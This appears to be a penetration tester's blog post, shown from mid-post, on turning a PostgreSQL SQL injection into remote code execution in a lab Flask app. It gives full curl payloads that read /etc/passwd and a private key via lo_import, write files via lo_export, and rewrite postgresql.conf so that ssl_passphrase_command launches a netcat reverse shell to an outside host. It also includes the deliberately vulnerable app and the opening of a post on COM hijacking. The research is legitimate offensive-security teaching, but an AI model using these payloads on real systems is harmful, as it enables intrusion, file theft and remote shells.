$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/passwd')=%271%27)%20THEN%20name%20ELSE%20note%20END)" <h1> Test some stuff </h1><table><th>id</th><th>name</th><th>note</th><th>created</th><tr><td>1</td><td>dog</td><td>is a good dog</td>...snip...
We get a legitimate application response, no error. Now the /etc/passwd file should be waiting for us in the pg_largeobject table:
$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <loid>16437</loid> <pageno>0</pageno> <data>cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91 c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmlu L25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0 OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2Ft ZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vz ci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25v bG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdz Ong6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDox MDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEz OjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ct ZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6 L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExp c3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJj ZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMg QnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4v bm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Iv c2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4v bm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAxOjEwMjpzeXN0ZW1kIFRpbWUgU3luY2hy b25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW5l dHdvcms6eDoxMDI6MTAzOnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50LCwsOi9ydW4vc3lz dGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXJlc29sdmU6eDoxMDM6MTA0OnN5c3Rl bWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCm1lc3NhZ2Vi dXM6eDoxMDQ6MTEwOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KZG9pOng6MTAw MDoxMDAwOmRvaSwsLDovaG9tZS9kb2k6L2Jpbi9iYXNoCnN5c3RlbWQtY29yZWR1bXA6eDo5 OTk6OTk5OnN5c3RlbWQgQ29yZSBEdW1wZXI6LzovdXNyL3NiaW4vbm9sb2dpbgpsaWdodGRt Ong6MTA1OjExMjpMaWdodCBEaXNwbGF5IE1hbmFnZXI6L3Zhci9saWIvbGlnaHRkbTovYmlu L2ZhbHNlCnNzaGQ6eDoxMDY6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgp1 c2JtdXg6eDoxMDc6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9z YmluL25vbG9naW4KcG9zdGdyZXM6eDoxMDg6MTE0OlBvc3RncmVTUUwgYWRtaW5pc3RyYXRv ciwsLDovdmFyL2xpYi9wb3N0Z3Jlc3FsOi9iaW4vYmFzaAo=</data> </row>
Awesome. You could also use the lo_get method and the OID above, if you were so inclined.
FILE WRITE WITH LO_EXPORT
lo_export takes a large object OID and a path, writing the file out to the path as the database user (postgres, in my case). I’m going to reuse the large object OID we created in the previous step to test this. The payload will be:
, (CASE WHEN (SELECT lo_export(16437,'/dev/shm/testing'))='1')+THEN+note+ELSE+id::text+END)
$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(16437,'/dev/shm/testing')=%271%27)%20THEN%20name%20ELSE%20note%20END)" $ ls -l /dev/shm/ total 12 -rw------- 1 postgres postgres 6928 May 1 16:43 PostgreSQL.1150217542 -rw-r--r-- 1 postgres postgres 1601 May 4 17:53 testing
Arbitrary file write can be performed by using lo_from_bytea to create a large object with a specified byte array, for example:
select lo_from_bytea(0,'this is a test file with test bytes');
Now the question becomes ‘what can we write to the file-system as the postgres user to achieve code execution’? Were the DB and the web server on the same host that might open up some options, but in this case we had a standalone DB server.
CLEANING UP LARGE OBJECTS
Large objects can be removed using the select lo_unlink(OID) command. Running a select * from pg_largeobject and removing any objects you’ve created is going to be a good step to add to you engagement-clean-and-wrap-up routine.
COMMAND EXECUTION - JUST STRAIGHT-UP OVERWRITE THE CONFIG FILE
One of the things that came to mind was to look for an option in a config file that the postgres user can write that will let us specify an arbitrary command that’ll get executed… somewhere. Double-checking that the config file is indeed owned by postgres:
$ ls -l /etc/postgresql/11/main/postgresql.conf -rw-r--r-- 1 postgres postgres 24194 May 1 16:31 /etc/postgresql/11/main/postgresql.conf
Dumping all the configuration options and looking for command showed the following:
testdb=# select name, short_desc from pg_settings where name like '%command%' ; name | short_desc ----------------------------------------+------------------------------------------------------------------- archive_command | Sets the shell command that will be called to archive a WAL file. log_replication_commands | Logs each replication command. ssl_passphrase_command | Command to obtain passphrases for SSL. ssl_passphrase_command_supports_reload | Also use ssl_passphrase_command during server reload. (4 rows)
ssl_passphrase_command looks hopefull, lets check that out in the config file:
# - SSL - ssl = on #ssl_ca_file = '' ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem' #ssl_crl_file = '' ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' #ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers #ssl_prefer_server_ciphers = on #ssl_ecdh_curve = 'prime256v1' #ssl_dh_params_file = '' #ssl_passphrase_command = '' #ssl_passphrase_command_supports_reload = off
Excellent, that’ll do. We can overwrite the config file to set a command. This will execute when we tell postgres to reload the configuration file.
“But isn’t overwriting the config file super risky?” Yes, and it’s up to you to work out how to not wreck anything that shouldn’t be wrecked. That said, select pg_reload_conf() wont take down the server if our shell fails to decrypt the private key. However, a systemctl restart postgres or a server reboot and the database won’t come back. So we need to be sneaky.
For the command to execute, ssl_key_file needs to point to a key that’s protected by a passphrase. We could upload our own key file using lo_export, but we run into an issue before the command is executed:
2020-05-04 18:30:43.485 NZST [22651] DETAIL: File must have permissions u=rw (0600) or less if owned by the database user, or permissions u=rw,g=r (0640) or less if owned by root. 2020-05-04 18:30:43.485 NZST [22651] LOG: SSL configuration was not reloaded
Both of the above problems can be dealt with by downloading the existing private key using lo_import (snakeoil, on debian), setting a passphrase on the key and re-uploading it. We double the sneakiness by using an exploit command that actually returns the passphrase so the key successfully decrypts.
The plan at this point is:
- lo_import the current config file and the existing private key
- Dump the config, confirm we have the right file and location
- Dump the key, add a passphrase
- Use lo_from_bytea and lo_put to update the config file to execute a malicious command, and add the tweaked private key
- lo_export the doctored config and key back to disk
- Execute pg_reload_conf() to load the new configuration
Let’s work on getting the private-key and RCE payload working correctly first. I like to figure this all out outside of the confines of the SQLi bug, then string everything together in the end. The idea is that if I have made any wrong assumptions on how things work, I’m not trying to debug that through another vulnerability. Fail-fast and all that.
BUILDING AN RCE PAYLOAD
The payload needs to meet the requirements as set out in the Postgres docs. Basically, it needs to exit 0 and return the passphrase on stdout.
ssl_passphrase_command (string) Sets an external command to be invoked when a passphrase for decrypting an SSL file such as a private key needs to be obtained. By default, this parameter is empty, which means the built-in prompting mechanism is used.
The command must print the passphrase to the standard output and exit with code 0. In the parameter value, %p is replaced by a prompt string. (Write %% for a literal %.) Note that the prompt string will probably contain whitespace, so be sure to quote adequately. A single newline is stripped from the end of the output if present.
The command does not actually have to prompt the user for a passphrase. It can read it from a file, obtain it from a keychain facility, or similar. It is up to the user to make sure the chosen mechanism is adequately secure.
This parameter can only be set in the postgresql.conf file or on the server command line.
Though you could upload any kind of malicious file you’d like with lo_export, I achieved the end goal here by using bash. The payload for the ssl passphrase command was as follows:
bash -c 'test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0'
The code checks if a pipe exists, and creates it if it doesn’t. A netcat reverse shell is then executed and backgrounded. After that, we echo the passphrase and exit 0.
Next, we need to figure out how to add a passphrase to the private key. The openssl command can be used to add a passphrase to an existing key:
~/tmp$ sudo openssl rsa -aes256 -in /etc/ssl/private/ssl-cert-snakeoil.key -out ./ssl-cert-snakeoil.key writing RSA key Enter PEM pass phrase: passphrase Verifying - Enter PEM pass phrase: passphrase ~/tmp$
Excellent. This is the part where you manually update the config file and make sure that everything works as intended. There is a minor wrinkle where if a shell was currently open and someone tried to restart Postgres, the restart process would hang on Stopping PostgreSQL Cluster 11-main... until you exit netcat. Something to keep in mind. Another option would be to curl whatever stager you feel like to /dev/shm and execute that, rather than trying to tackle job-control in a netcat one liner. You do you though.
Alright, so ready to go right? WRONG:
:~$ sudo ls -l /etc/ssl/private/ssl-cert-snakeoil.key -rw-r----- 1 root ssl-cert 1766 May 4 20:18 /etc/ssl/private/ssl-cert-snakeoil.key
The postgres user can’t overwrite that file, and the default umask will create files with the wrong permissions. It’s fine, it’s fine, we just need a file that’s already owned by the postgres user and has 0600 permissions. There should be at least one, right?
:/# find / -user postgres -type f -perm 0600 2> /dev/null | wc -l 1297
805260 8 -rw------- 1 postgres postgres 6895 May 4 20:20 /var/lib/postgresql/.psql_history 805261 4 -rw------- 1 postgres postgres 258 May 4 20:21 /var/lib/postgresql/.bash_history
These two look good, but I kind of feel like that would be cheating, so moving on.
:/# ls -l /var/lib/postgresql/11/main/PG_VERSION -rw------- 1 postgres postgres 3 May 1 16:31 /var/lib/postgresql/11/main/PG_VERSION :/# cat /var/lib/postgresql/11/main/PG_VERSION 11
OK that looks better, lets try string everything together and get our shell.
THE EXPLOIT
So with the prototype finished, here is the final SQLi to RCE dance:
STEP ONE - GET THE CONFIG FILE
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20setting%20from%20pg_settings%20where%20name=''config_file''',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <setting>/etc/postgresql/11/main/postgresql.conf</setting> </row> " :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)" <h1> Test some stuff </h1><table><th>id</th><th>name...snip... :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)" <h1> Test some stuff </h1><table><th>id</th><th>name...snip... :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20loid%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <loid>16441</loid> </row> ...snip... <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <loid>16442</loid> </row> " :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <loid>16441</loid> <pageno>3</pageno> <data>b3VuZAojYmd3cml0ZXJfZmx1c2hfYWZ0ZXIgPSA1MTJrQgkJIyBtZWFzdXJlZCBpbiBwYWdl cywgMCBkaXNhYmxlcwoKIyAtIEFzeW5jaHJvbm91cyBCZWhhdmlvciAtCgojZWZmZWN0aXZl X2lvX2NvbmN1cnJlbmN5ID0gMQkJIyAxLTEwMDA7IDAgZGlzYWJsZXMgcHJlZmV0Y2hpbmcK I21heF93b3JrZXJfcHJvY2Vzc2VzID0gOAkJIyAoY2hhbmdlIHJlcXVpcmVzIHJlc3RhcnQp CiNtYXhfcGFyYWxsZWxfbWFpbnRlbmFuY2Vfd29ya2VycyA9IDIJIyB0YWtlbiBmcm9tIG1h eF9wYXJhbGxlbF93b3JrZXJzCiNtYXhfcGFyYWxsZWxfd29ya2Vyc19wZXJfZ2F0aGVyID0g MgkjIHRha2VuIGZyb20gbWF4X3BhcmFsbGVsX3dvcmtlcnMKI3BhcmFsbGVsX2xlYWRlcl9w YXJ0aWNpcGF0aW9uID0gb24KI21heF9
16441 will be our “clean” config that we can spool out to disk if we need to roll back in a hurry. 16442 is what we will mess with. After concatenating all the base64 blobs and spooling to disk, we get the config file. The SSL parameters is what we’re interested in:
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16441''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" | tee file ...snip... :~$ perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' < file | perl -pe 's/^.*?<data>(.*?)/$1/g' | while read i; do echo $i | base64 -d; done | grep ssl ssl = on #ssl_ca_file = '' ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem' #ssl_crl_file = '' ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' #ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers #ssl_prefer_server_ciphers = on #ssl_ecdh_curve = 'prime256v1' #ssl_dh_params_file = '' #ssl_passphrase_command = '' #ssl_passphrase_command_supports_reload = on
STEP TWO - GET THE PRIVATE KEY
Next we need to grab the the private key
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/ssl/private/ssl-cert-snakeoil.key')=%271%27)%20THEN%20name%20ELSE%20note%20END)" :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16443''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" | tee file ...snip... :~$ perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' < file | perl -pe 's/^.*?<data>(.*?)/$1/g' | while read i; do echo $i | base64 -d; done > private.key
Add a passphrase:
:~$ openssl rsa -aes256 -in private.key -out private_passphrase.key writing RSA key Enter PEM pass phrase: passphrase Verifying - Enter PEM pass phrase: passphrase
And upload the result into a large object. We can use lo_from_bytea to create the object, then lo_put to append. lo_put returns void, which throws an error when used in the CASE statement. Solution here is to wrap it in pg_typeof, which we can check against an int. I used a sketchy one-liner to break this up so it’ll fit in the GET parameters neatly:
:~$ I=0; xxd -p private_passphrase.key | while read line do if [ $I == 0 ] then echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_from_bytea(43210,'\x$line')=%271%27)%20THEN%20name%20ELSE%20note%20END)\"" else echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,$I,'\x$line'))=%271%27)%20THEN%20name%20ELSE%20note%20END)\"" fi ; I=$(($I+30)); done curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_from_bytea(43210,'\x2d2d2d2d2d424547494e205253412050524956415445204b45592d2d2d2d')=%271%27)%20THEN%20name%20ELSE%20note%20END)" curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,30,'\x2d0a50726f632d547970653a20342c454e435259505445440a44454b2d49'))=%271%27)%20THEN%20name%20ELSE%20note%20END)" ...snip... curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,1740,'\x2d454e44205253412050524956415445204b45592d2d2d2d2d0a'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"
Double check that the uploaded key makes sense:
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''43210''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" | perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' | perl -pe 's/^.*?<data>(.*?)/$1/g' | while read i; do echo $i | base64 -d; done | md5sum % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2597 100 2597 0 0 507k 0 --:--:-- --:--:-- --:--:-- 634k 9f80a502993d721ee45e2c03c0da66c0 - :~$ md5sum private_passphrase.key 9f80a502993d721ee45e2c03c0da66c0 private_passphrase.key
Sweet. As.
STEP THREE - UPDATE THE CONFIG FILE
Since the config file is already loaded into a large object, we can append the ssl_passphrase_command and ssl_passphrase_command_supports_reload commands to the end of the object. Inserting a # at the right offset will comment out the original private key definition, then we can append the new one at the end.
Let’s start by figuring out the comment offset:
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16442''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" | perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' | perl -pe 's/^.*?<data>(.*?)/$1/g' | while read i; do echo $i | base64 -d; done >postgres.conf :~$ grep -b -o ssl_key_file postgres.conf 3968:ssl_key_file
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,3968,'\x23'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"
Now we can append the three lines to the config:
:~$ wc -c postgres.conf 24193 postgres.conf :~$ I=0; echo -e "ssl_key_file = '/var/lib/postgresql/11/main/PG_VERSION'\nssl_passphrase_command_supports_reload = on\nssl_passphrase_command = 'bash -c \"test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0\"'" | xxd -p | while read line do echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,$((24193+$I)),'\x$line'))=%271%27)%20THEN%20name%20ELSE%20note%20END)\""; I=$(($I+30)) done curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,24193,'\x73736c5f636572745f66696c65203d20272f7661722f6c69622f706f7374'))=%271%27)%20THEN%20name%20ELSE%20note%20END)" ...snip... curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,24463,'\x6974203027220a'))=%271%27)%20THEN%20name%20ELSE%20note%20END)"
After executing the above, we can double check that the object has been updated successfully:
:~$ curl -s "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16442''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" | perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' | perl -pe 's/^.*?<data>(.*?)/$1/g' | while read i; do echo $i | base64 -d; done |grep ssl ssl = on #ssl_ca_file = '' ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem' #ssl_crl_file = '' #sl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' #ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers #ssl_prefer_server_ciphers = on #ssl_ecdh_curve = 'prime256v1' #ssl_dh_params_file = '' #ssl_passphrase_command = '' #ssl_passphrase_command_supports_reload = on ssl_key_file = '/var/lib/postgresql/11/main/PG_VERSION' ssl_passphrase_command_supports_reload = on ssl_passphrase_command = 'bash -c "test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0"'
Fantastic. Moving on.
STEP FOUR - WRITE THE FILES OUT TO THE FILESYSTEM
This part should be relatively straight forward, use lo_export to spool the files out to the file-system. 16442 is the config OID and 43210 is the private key:
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(16442,'/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)" :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(43210,'/var/lib/postgresql/11/main/PG_VERSION')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
If, like me, you suffer from exploit pessimism, this would be the point where you re-download those files to double check everything is correct.
STEP FIVE - EXECUTE!
Last step is to issue select pg_reload() and hopefully receive the shell!
:~$ curl -s "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20pg_reload_conf()',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_reload_conf>true</pg_reload_conf> </row> "
doi@djubre:~$ ncat -vv -k -l -p 8000 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::8000 Ncat: Listening on 0.0.0.0:8000 Ncat: Connection from 192.168.122.7. Ncat: Connection from 192.168.122.7:44166. id uid=108(postgres) gid=114(postgres) groups=114(postgres),113(ssl-cert) ls -l total 84 drwx------ 6 postgres postgres 4096 May 1 23:50 base drwx------ 2 postgres postgres 4096 May 4 20:37 global drwx------ 2 postgres postgres 4096 May 1 16:31 pg_commit_ts drwx------ 2 postgres postgres 4096 May 1 16:31 pg_dynshmem drwx------ 4 postgres postgres 4096 May 4 22:56 pg_logical drwx------ 4 postgres postgres 4096 May 1 16:31 pg_multixact drwx------ 2 postgres postgres 4096 May 4 20:36 pg_notify drwx------ 2 postgres postgres 4096 May 1 16:31 pg_replslot drwx------ 2 postgres postgres 4096 May 1 16:31 pg_serial drwx------ 2 postgres postgres 4096 May 1 16:31 pg_snapshots drwx------ 2 postgres postgres 4096 May 4 20:36 pg_stat drwx------ 2 postgres postgres 4096 May 1 16:31 pg_stat_tmp drwx------ 2 postgres postgres 4096 May 1 16:31 pg_subtrans drwx------ 2 postgres postgres 4096 May 1 16:31 pg_tblspc drwx------ 2 postgres postgres 4096 May 1 16:31 pg_twophase -rw------- 1 postgres postgres 1766 May 4 22:48 PG_VERSION drwx------ 3 postgres postgres 4096 May 1 16:31 pg_wal drwx------ 2 postgres postgres 4096 May 1 16:31 pg_xact -rw------- 1 postgres postgres 88 May 1 16:31 postgresql.auto.conf -rw------- 1 postgres postgres 130 May 4 20:36 postmaster.opts -rw------- 1 postgres postgres 108 May 4 20:36 postmaster.pid
And the obligatory exploit GIF:
SUMMARY
So there you have it, a few interesting techniques we used to exploit an SQLi against a Postgres DB, without ever executing ‘CREATE’, ‘INSERT’, or ‘UPDATE’. This exercise was certainly interesting, and digging through Postgres internals to exploit an SQLi was pretty fun.
A pull request will be sent to the PayloadsAllTheThings GitHub repo with info on some of these techniques.
Happy hacking!
APPENDIX - DUMP ALL POSTGRES FUNCTIONS AND FIND THEIR CORRESPONDING METHODS
The majority of this post came from dumping all functions available in a default Postgres install and trying to find things that look interested and can be executed by a default DB user. You, too, can dump all the postgres functions using the following SQL:
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position FROM information_schema.routines LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name;
After finding an interesting function, its usually fairly easy to locate within the source tree. Using lo_import as an example:
:~/targets/postgresql-11-11.7/src$ grep -a2 lo_import include/catalog/pg_proc.dat { oid => '764', descr => 'large object import', proname => 'lo_import', provolatile => 'v', proparallel => 'u', prorettype => 'oid', proargtypes => 'text', prosrc => 'be_lo_import' }, { oid => '767', descr => 'large object import', proname => 'lo_import', provolatile => 'v', proparallel => 'u', prorettype => 'oid', proargtypes => 'text oid', prosrc => 'be_lo_import_with_oid' }, { oid => '765', descr => 'large object export', proname => 'lo_export', provolatile => 'v', proparallel => 'u',
be_lo_import is the method we’re after, which is defined in backend/libpq/be-fsstubs.c:
386 /* 387 * lo_import - 388 * imports a file as an (inversion) large object. 389 */ 390 Datum 391 be_lo_import(PG_FUNCTION_ARGS) 392 { 393 text *filename = PG_GETARG_TEXT_PP(0); 394 395 PG_RETURN_OID(lo_import_internal(filename, InvalidOid)); 396 }
You can look at the proargtypes in pg_proc.dat to get an idea of what input a function expects.
APPENDIX - TEST CODE
If you want to have a play with these tricks yourself, you can use the following example code. This is a simple Flask app vulnerable to SQL injection that was used to demonstrate the SQLi tricks through this post:
# create the DB table with: # CREATE TABLE animals( id serial PRIMARY KEY, name VARCHAR (50) UNIQUE NOT NULL, note VARCHAR (500) NOT NULL, created_on TIMESTAMP NOT NULL); # insert into animals (name, note, created_on) values ('dog', 'is a good dog', now()); # insert into animals (name, note, created_on) values ('cat', 'adorable, if passive aggressive', now()); # insert into animals (name, note, created_on) values ('fish', 'fish go blub', now()); # insert into animals (name, note, created_on) values ('whale', 'also go blub', now()); # insert into animals (name, note, created_on) values ('shrimp', 'also go blub', now()); # insert into animals (name, note, created_on) values ('giraffe', 'long neck, neato spots', now()); # insert into animals (name, note, created_on) values ('rock', 'TICKET 1143 rock is not animal', now()); import psycopg2 from flask import Flask from flask import request from flask import Response app = Flask(__name__) host = "127.0.0.1" port = "5432" dbname = "testdb" user = "testuser" pw = whateveryousetthetestuserpasswordto conn = psycopg2.connect(host=host, port=port, dbname=dbname, user=user, password=pw) cols = ['id','name','note','created_on'] @app.route("/") def index(): result = "<h1> Test some stuff </h1>" order = request.args.get("order") sort = request.args.get("sort") sqlquery = "select * from animals"; if order in cols: sqlquery = sqlquery + " order by " + order if sort: sqlquery = sqlquery + " " + sort cur = conn.cursor() try: cur.execute(sqlquery) except psycopg2.Error as e: conn.rollback() return Response(e.pgerror, mimetype='text/plain') result = result + "<table>" result = result + "<th>id</th>" result = result + "<th>name</th>" result = result + "<th>note</th>" result = result + "<th>created</th>" rows = cur.fetchall() for row in rows: result = result + "<tr>" result = result + "<td>" + str(row[0]) +"</td>" result = result + "<td>" + row[1] + "</td>" result = result + "<td>" + row[2] + "</td>" result = result + "<td>" + row[3].strftime("%d-%b-%Y (%H:%M:%S.%f)") + "</td>" result = result + "</tr>" result = result + "</table>" conn.commit() cur.close() return result if __name__ == "__main__": app.run()
-
COM Hijacking for Lateral Movement
Hey all,
This post is about leveraging COM hijacking for lateral movement. I’m going to stay away from deep-diving COM internals as hijacking is not a new topic and has been explored by people far smarter than I, check out the references for awesome COM material. Instead, I’ll be taking a look at how tinkering with the registry and calling a COM object remotely (DCOM) can provide lateral movement options.
As a humble net-pen guy, I have to admit I haven’t encountered a target which monitors HKLM\..\CLSID, so I wanted to develop a tool which could explain the importance of doing so. Also, from an offsec standpoint, I like this approach as it provides the ability to live inside a legitimate process without dropping an executable to disk or using one of the “usual suspects” executables to kick off my session. However, there are two risks with using this type of approach: the modifications to the remote registry are clearly malicious and can leave a system in an non-operational state.
Furthermore, there are a ton of interesting use cases when tinkering with the AppID registry key as well. For example, setting RunAs to a different value might kick off our C2 session to a context of our choosing (Interactive User or SYSTEM). I’m hoping to explore this in future posts.
References
